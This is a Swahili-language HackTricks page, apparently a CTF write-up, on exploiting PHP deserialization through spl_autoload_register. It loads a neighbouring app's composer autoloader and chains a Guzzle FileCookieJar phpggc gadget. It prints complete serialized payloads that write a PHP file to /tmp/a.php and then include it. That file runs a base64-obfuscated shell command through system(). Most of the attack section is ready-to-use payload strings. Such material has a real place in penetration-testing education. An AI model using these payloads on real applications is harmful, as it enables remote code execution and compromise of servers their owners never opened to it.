5.4 KiB
PHP - Deserialization + Autoload Classes
{{#include ../../banners/hacktricks-training.md}}
Kwanza, unapaswa kuangalia ni nini Autoloading Classes.
PHP deserialization + spl_autoload_register + LFI/Gadget
Tuko katika hali ambapo tumepata PHP deserialization katika webapp bila maktaba inayoweza kuathiriwa na gadgets ndani ya phpggc
. Hata hivyo, katika konteina hiyo hiyo kulikuwa na webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa. Kwa hivyo, lengo lilikuwa ni kuchaji loader ya composer ya webapp nyingine na kuitumia ku load gadget ambayo itatumia maktaba hiyo kwa gadget kutoka kwa webapp inayoweza kuathiriwa na deserialization.
Hatua:
- Umepata deserialization na hakuna gadget katika msimbo wa sasa wa app
- Unaweza kutumia
spl_autoload_register
kama ifuatavyo ili kuchaji faili yoyote ya ndani yenye kiambishi cha.php
- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya
$name
. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini msimbo unabadilisha michirizi ("_") kuwa slashes ("/"). Hivyo jina la darasa kamatmp_passwd
litabadilishwa kuwa/tmp/passwd.php
na msimbo utajaribu kulichaji.
Mfano wa gadget utakuwa:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
Tip
Ikiwa una file upload na unaweza kupakia faili lenye
.php
extension unaweza kutumia kazi hii moja kwa moja na kupata tayari RCE.
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa ndani ya container hiyo hiyo ukurasa mwingine wa mtandao wa composer wenye maktaba iliyo hatarini kwa phpggc
gadget.
- Ili kupakia maktaba hii nyingine, kwanza unahitaji kupakia loader ya composer ya programu hiyo nyingine (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) Kujua njia ya programu, unaweza kufanikisha hii kwa urahisi sana na:
O:28:"www_frontend_vendor_autoload":0:{}
(Katika kesi yangu, loader ya composer ilikuwa katika/www/frontend/vendor/autoload.php
) - Sasa, unaweza kupakia loader ya app nyingine, hivyo ni wakati wa
kuunda phpgcc
payload ya kutumia. Katika kesi yangu, nilitumiaGuzzle/FW1
, ambayo iliniruhusu kuandika faili yoyote ndani ya mfumo wa faili. - KUMBUKA: gadget iliyoundwa haikufanya kazi, ili ifanye kazi nilifanya mabadiliko kwenye payload hiyo
chain.php
ya phpggc na kuweka sifa zote za madarasa kutoka binafsi hadi umma. La sivyo, baada ya deserialization ya string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote. - Sasa tuna njia ya kupakia loader ya app nyingine na kuwa na phpggc payload inayofanya kazi, lakini tunahitaji kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:
- Unaweza kuona kwanza loader ikipakiwa na kisha payload
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
- Sasa, tunaweza kuunda na kuandika faili, hata hivyo, mtumiaji hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti. Hivyo, kama unavyoona katika payload, PHP inaita
system
na base64 fulani inaundwa katika/tmp/a.php
. Kisha, tunaweza kurudia aina ya kwanza ya payload ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti kupakia faili iliyoundwa/tmp/a.php
. Ongeza tu kwenye gadget ya deserialization:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
Muhtasari wa payload
- Pakia autoload ya composer ya webapp tofauti katika kontena moja
- Pakia gadget ya phpggc ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyoathirika na deserialization haikuwa na gadget yoyote kwenye maktaba zake)
- Gadget hiyo itaunda faili yenye payload ya PHP ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)
- Sehemu ya mwisho ya payload yetu itatumia pakiwa faili ya php iliyozalishwa ambayo itatekeleza amri
Nilihitaji kuita hii deserialization mara mbili. Katika majaribio yangu, mara ya kwanza faili la /tmp/a.php
lilikuwa limeundwa lakini halikupakiwa, na mara ya pili lilipakiwa kwa usahihi.
{{#include ../../banners/hacktricks-training.md}}